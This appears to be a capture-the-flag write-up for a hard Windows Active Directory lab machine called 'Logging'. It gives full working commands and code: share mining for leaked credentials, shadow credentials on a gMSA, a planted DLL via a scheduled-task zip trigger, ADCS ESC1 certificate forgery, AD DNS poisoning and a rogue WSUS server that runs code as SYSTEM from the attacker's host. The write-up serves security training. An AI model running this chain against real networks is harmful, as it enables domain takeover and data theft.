Machine Info

  • Name: Logging
  • IP: 10.129.245.130 (DC01)
  • OS: Windows Server 2019 Build 17763
  • Difficulty: Hard
  • Key Skills: SMB share mining, Protected Users / Kerberos with clock skew, gMSA shadow credentials via GenericWrite, scheduled task DLL trigger, ADCS ESC1 (Enrollee Supplies Subject), AD-integrated DNS poisoning, rogue WSUS server (wsuks)

Summary

Logging is a single-host Windows AD machine that pivots from a low-priv user to a service account in Protected Users (Kerberos-only), through a shadow-credential attack on a gMSA, into a scheduled task that triggers a DLL file-watcher, and finally into a full WSUS spoofing chain that runs SYSTEM-context code on the DC. The chain uses ADCS ESC1 to mint a Server Authentication certificate for wsus.logging.htb, AD-integrated DNS write to point that name at the attacker, and wsuks (a Server-2019-correct WSUS spoofer) to ship a Microsoft-signed PsExec64.exe with a copy command that exfiltrates root.txt to a readable path.

Attack Chain:

SMB Logs share -> svc_recovery cred leak -> Kerberos+faketime (Protected Users)
-> GenericWrite gMSA msa_health$ -> shadow-cred -> WinRM as msa_health$
-> Settings_Update.zip DLL trigger -> jaylee.clifton context -> user.txt
-> ADCS UpdateSrv ESC1 cert -> AD DNS poison wsus.logging.htb -> wsuks WSUS spoof
-> PsExec64.exe SYSTEM -> root.txt

Reconnaissance

Initial credential

The box drops the player at the foothold with a low-priv domain user.

  • wallace.everette / Welcome2026@

SMB enumeration

nxc smb 10.129.245.130 -u 'wallace.everette' -p 'Welcome2026@' --shares

Readable shares with wallace.everette:

ADMIN$              (denied)
C$                  (denied)
IPC$                READ
Logs                READ        <- box-name match, primary target
NETLOGON            READ
SYSVOL              READ
WSUSTemp            (denied)

signing: required, Null Auth: True on IPC$. LDAP signing not required and channel binding never (relevant later).

Domain inventory via LDAP

nxc ldap 10.129.245.130 -u 'wallace.everette' -p 'Welcome2026@' --users
nxc ldap 10.129.245.130 -u 'wallace.everette' -p 'Welcome2026@' --groups

Users of interest:

  • svc_recovery (member of custom Emergency Recovery group)
  • jaylee.clifton (sole member of IT)
  • toby.brynleigh (one of the local profile dirs found later)

Cert Publishers is populated, so ADCS is in play.


Foothold: Logs share to svc_recovery

Pull the share

nxc smb 10.129.245.130 -u 'wallace.everette' -p 'Welcome2026@' \
    -M spider_plus -o DOWNLOAD_FLAG=True --share Logs

The dump contains IdentitySync_Trace_20260219.log, which leaks an internal LDAP bind block:

BindUser: LOGGING\svc_recovery
BindPass: Em3rg3ncyPa$$2026

Note: an earlier-dated copy of the same log shows Em3rg3ncyPa$$2025. That is a year-rollover red herring; the live password is the 2026 one.

Failed NTLM, working Kerberos

nxc smb 10.129.245.130 -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026'
# STATUS_ACCOUNT_RESTRICTION

svc_recovery is in Protected Users, so any NTLM auth is blocked. Kerberos still works, but the HTB DC is intentionally clock-skewed about 7 hours ahead. Use faketime:

DC_TIME=$(faketime -q -h 'now' echo placeholder; \
          ldapsearch -H ldap://10.129.245.130 -x -s base -b "" currentTime \
          | grep currentTime | awk '{print $2}')
faketime "$(echo $DC_TIME | sed 's/Z$//;s/T/ /')" \
  impacket-getTGT -dc-ip 10.129.245.130 \
  'logging.htb/svc_recovery:Em3rg3ncyPa$$2026'

Result: svc_recovery.ccache.


Lateral: GenericWrite to gMSA

BloodHound path

Run BloodHound as wallace.everette (NTLM is fine for him):

bloodhound-python -d logging.htb -u wallace.everette -p 'Welcome2026@' \
  -ns 10.129.245.130 -dc DC01.logging.htb -c All --zip

svc_recovery has GenericWrite over msa_health$ (a gMSA computer object).

Shadow credentials with Certipy

export KRB5CCNAME=$PWD/svc_recovery.ccache
faketime '2026-05-01 23:25:00' \
  certipy shadow auto -u svc_recovery -k -no-pass -account msa_health$ \
  -dc-ip 10.129.245.130

Output (trimmed):

[*] Saved certificate and private key to 'msa_health.pfx'
[*] NT hash for 'msa_health$': 603fc24ee01a9409f83c9d1d701485c5

WinRM as msa_health$

nxc winrm 10.129.245.130 -u 'msa_health$' \
  -H 603fc24ee01a9409f83c9d1d701485c5 -d logging.htb -X 'whoami'

Returns logging\msa_health$ with (Pwn3d!) flag, but whoami /priv shows only SeMachineAccountPrivilege, SeChangeNotifyPrivilege, SeIncreaseWorkingSetPrivilege. Local admin is not granted; reading root.txt directly fails. Useful capability is the foothold and the writable C:\ProgramData\UpdateMonitor directory (BUILTIN\Users have Write here).


User: scheduled-task DLL trigger as jaylee.clifton

Discover the trigger

A scheduled task \UpdateChecker Agent runs every 3 minutes as jaylee.clifton:

Task To Run: "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" 500 /scan=3 /autofix=true
Run As User: jaylee.clifton
Repeat: Every 3 Minute(s)

Static review of UpdateMonitor.exe (32-bit .NET 4.7.2, references System.IO.Compression.ZipFile) shows the following flow:

  1. Watches C:\ProgramData\UpdateMonitor\Settings_Update.zip
  2. Extracts archive into C:\Program Files\UpdateMonitor\bin\
  3. LoadLibrary("settings_update.dll") from that bin directory
  4. Resolves and invokes the PreUpdateCheck export

Build the planted DLL

The DLL must be 32-bit. The first build was x64 and the host returned ERROR_BAD_EXE_FORMAT (193) in monitor.log.

su.c:

#include <windows.h>

static void copy_flag(void) {
    HANDLE in = CreateFileA("C:\\Users\\jaylee.clifton\\Desktop\\user.txt",
                            GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                            OPEN_EXISTING, 0, NULL);
    if (in == INVALID_HANDLE_VALUE) return;
    char buf[512] = {0}; DWORD got = 0;
    ReadFile(in, buf, sizeof(buf)-1, &got, NULL);
    CloseHandle(in);

    HANDLE out = CreateFileA("C:\\ProgramData\\UpdateMonitor\\Logs\\u.txt",
                             GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
    if (out == INVALID_HANDLE_VALUE) return;
    DWORD wrote = 0;
    WriteFile(out, buf, got, &wrote, NULL);
    CloseHandle(out);
}

BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID p) {
    if (r == DLL_PROCESS_ATTACH) copy_flag();
    return TRUE;
}

__declspec(dllexport) void __stdcall PreUpdateCheck(void) { copy_flag(); }

Build and pack:

i686-w64-mingw32-gcc -O2 -shared -s -o settings_update.dll su.c \
  -lkernel32 -luser32 -Wl,--add-stdcall-alias
zip -j Settings_Update.zip settings_update.dll

Drop and wait

Upload the archive over WinRM as msa_health$:

[IO.File]::WriteAllBytes('C:\ProgramData\UpdateMonitor\Settings_Update.zip',
                        [Convert]::FromBase64String('<base64>'))

monitor.log after the next 3-minute cycle:

Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\
Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
Calling 'PreUpdateCheck' in settings_update.dll

C:\ProgramData\UpdateMonitor\Logs\u.txt now contains user.txt, written by jaylee.clifton.

user.txt

c6d8047cd1ff07332128861d12b5fdc4

This same trigger primitive is the foundation of the rest of the chain. Anything we want jaylee to do is just a different Settings_Update.zip payload, dropped by msa_health$, executed every 3 minutes.


Privesc Recon: WSUS policy and ADCS

WSUS policy on the DC

Reading HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate (readable by Authenticated Users):

WUServer                  : https://wsus.logging.htb:8531
WUStatusServer            : https://wsus.logging.htb:8531
UpdateServiceUrlAlternate : https://wsus.logging.htb:8531

HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU:

UseWUServer : 1
AUOptions   : 4

The DC is configured to fetch updates from wsus.logging.htb on TCP/8531 (HTTPS). wuauserv runs as LocalSystem. There is no DNS A record for that name yet.

ADCS templates

Run certipy find as msa_health$:

certipy find -u '[email protected]' \
  -hashes 603fc24ee01a9409f83c9d1d701485c5 \
  -dc-ip 10.129.245.130 -dns-tcp -ns 10.129.245.130 -enabled -stdout

Vulnerable template:

Template Name                  : UpdateSrv
Schema Version                 : 2
Client Authentication          : False
Enrollee Supplies Subject      : True   <- ESC1
Extended Key Usage             : Server Authentication
Requires Manager Approval      : False
Authorized Signatures Required : 0
Enrollment Rights              : LOGGING.HTB\IT
                                 LOGGING.HTB\Domain Admins
                                 LOGGING.HTB\Enterprise Admins

jaylee.clifton is the only member of IT. She can request a Server Authentication certificate with any subject she wants.


Privesc step 1: get a cert for wsus.logging.htb

Build CSR locally with OpenSSL

The trigger runs in BATCH context as jaylee, which has no user CSP profile, so certreq -new fails with Access Denied. Workaround: generate the keypair and CSR locally on the attacker, drop only the CSR, and have jaylee submit it (DCOM-only, no profile needed).

openssl genrsa -out wsus.key 2048

cat > wsus.cnf <<'EOF'
[req]
distinguished_name = dn
req_extensions = ext
prompt = no
[dn]
CN = wsus.logging.htb
[ext]
subjectAltName = DNS:wsus.logging.htb
EOF

openssl req -new -key wsus.key -out wsus.csr -config wsus.cnf

Submit via the trigger

Settings_Update.zip payload that runs as jaylee:

certreq -submit -q -attrib "CertificateTemplate:UpdateSrv" \
  -config "DC01.logging.htb\logging-DC01-CA" \
  C:\ProgramData\UpdateMonitor\Logs\wsus.csr \
  C:\ProgramData\UpdateMonitor\Logs\wsus.cer

Assemble PFX/PEM locally

After the next 3-minute cycle, the signed cert lands in wsus.cer. Pull it back to the attacker:

openssl x509 -in wsus.cer -noout -subject -issuer -ext subjectAltName,extendedKeyUsage
# Subject:  CN = wsus.logging.htb
# Issuer:   DC=htb, DC=logging, CN=logging-DC01-CA
# SAN:      DNS:wsus.logging.htb
# EKU:      TLS Web Server Authentication

openssl pkcs12 -export -in wsus.cer -inkey wsus.key \
  -out wsus.pfx -passout pass:Pa55word!
openssl pkcs12 -in wsus.pfx -out wsus.pem -nodes -passin pass:Pa55word!

The PEM bundle (key + cert) is what wsuks consumes.


Privesc step 2: AD DNS poisoning

Authenticated Users can create new DNS records in AD-integrated zones. Use dnstool.py from krbrelayx:

python3 dnstool.py \
  -u 'logging.htb\wallace.everette' -p 'Welcome2026@' \
  -a add -r wsus.logging.htb -d 10.10.16.3 -t A \
  10.129.245.130

Verify:

dig +short @10.129.245.130 wsus.logging.htb A
# 10.10.16.3

The DC will resolve wsus.logging.htb to the attacker IP within a few minutes.


Privesc step 3: rogue WSUS with wsuks

pywsus (GoSecure) does not work against Windows Server 2019 in this configuration. WUA accepts the SyncUpdates response but logs Windows Update successfully found 0 updates for every cycle, regardless of metadata patches. wsuks (NeffIsBack) generates a different metadata structure and does work.

Install on macOS

git clone https://github.com/NeffIsBack/wsuks.git
pip3 install --break-system-packages --user wsuks

Two patches were needed for serve-only mode on macOS:

lib/router.py (the package version) becomes a stub when nftables is missing:

import logging
class Router:
    def __init__(self, *a, **kw):
        self.logger = logging.getLogger("wsuks")
        self.isRunning = False
    def configure(self): pass
    def start(self): pass
    def stop(self): pass

wsuks.py line 174 root check:

# was: if os.geteuid() != 0:
if False:
    logger.error("This script must be run as root!")
    exit(1)

Stage the payload

A simple batch file on the DC, dropped by msa_health$, that runs from the rogue WSUS install:

go.bat (CRLF line endings):

@echo off
copy /Y "C:\Users\toby.brynleigh\Desktop\root.txt" "C:\ProgramData\UpdateMonitor\Logs\r.txt"
icacls "C:\ProgramData\UpdateMonitor\Logs\r.txt" /grant Everyone:R

Note: root.txt is on toby.brynleigh’s desktop, not Administrator’s. Hunt for the path with a one-shot where /R C:\Users root.txt payload first if you do not know it yet.

Start wsuks serve-only

wsuks --serve-only \
  --tls-cert /tmp/logging-htb/wsus.pem \
  --WSUS-Port 8531 \
  -t 10.10.16.3 -I tun0 \
  -c '/accepteula /s cmd /c C:\ProgramData\UpdateMonitor\Logs\go.bat' \
  --debug

wsuks listens on 10.10.16.3:8531 with TLS terminated using our UpdateSrv-issued cert. The DC trusts it because the issuer (logging-DC01-CA) is in its own root store.

Watch the chain advance

wsuks.log cycles through the full WSUS protocol within a minute:

[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetConfig"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../SyncUpdates"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetExtendedUpdateInfo"
[+] Received GET request: /<uuid>/PsExec64.exe   <- DC downloads the signed binary
[+] Received POST request: /ReportingWebService/...  AGENT_INSTALLING_STARTED
[+] Received POST request: /ReportingWebService/...  AGENT_INSTALLING_SUCCEEDED

WUA Operational events on the DC confirm:

Id 26  Windows Update successfully found 1 updates.
Id 41  An update was downloaded.
... AGENT_INSTALLING_SUCCEEDED ...
       Bundle Security Update for * Windows (from KB9010344)

PsExec64.exe is the Microsoft-signed copy bundled with wsuks, so WUA’s signature check passes. WUA invokes it as SYSTEM with the configured arguments, which calls our go.bat.


Capture root.txt

Read the result file as msa_health$ (the icacls grant in go.bat makes it world-readable):

nxc winrm 10.129.245.130 -u 'msa_health$' \
  -H 603fc24ee01a9409f83c9d1d701485c5 -d logging.htb \
  -X 'Get-Content C:\ProgramData\UpdateMonitor\Logs\r.txt'

root.txt

04ed72ef72c9a31b6bca8af52c4e079d

Cleanup

  • Remove the planted DNS record:
python3 dnstool.py \
  -u 'logging.htb\wallace.everette' -p 'Welcome2026@' \
  -a remove -r wsus.logging.htb -d 10.10.16.3 -t A \
  10.129.245.130
  • Stop wsuks: pkill -f wsuks
  • The planted DLL on disk (C:\Program Files\UpdateMonitor\bin\settings_update.dll) and Settings_Update.zip will be overwritten on the next legitimate update cycle. Reverting them is optional in a CTF context.
  • Revoke the UpdateSrv cert via the CA console after the engagement. Certipy can also flag templates for retirement testing.

Lessons

  • ADCS Enrollee Supplies Subject on a Server Authentication template is enough to forge a TLS identity for any DNS name in the forest. Combined with AD-integrated DNS write (default for Authenticated Users on most zones), a low-priv user can stand up a trusted MITM for any HTTPS service the domain trusts.
  • Server 2019 WUA is stricter than the older Windows 10 builds that pywsus was tested against. wsuks is the right tool for current Server 2019; pywsus will look like it is working from the network log but WUA will silently file 0 updates.
  • Protected Users blocks NTLM but does not block Kerberos. Always try getTGT (with faketime if needed) before assuming a credential is unusable.
  • A 3-minute scheduled task that loads any DLL from a user-writable archive path is a privesc primitive equivalent to a service binary hijack. The fact that it runs as a normal domain user (not SYSTEM) does not save it; the user it runs as is the lateral movement target.
  • File path defaults bite. root.txt here was on toby.brynleigh’s desktop. Always run where /R C:\Users <flag> first when you have arbitrary code execution as SYSTEM and no admin login UI to confirm the layout.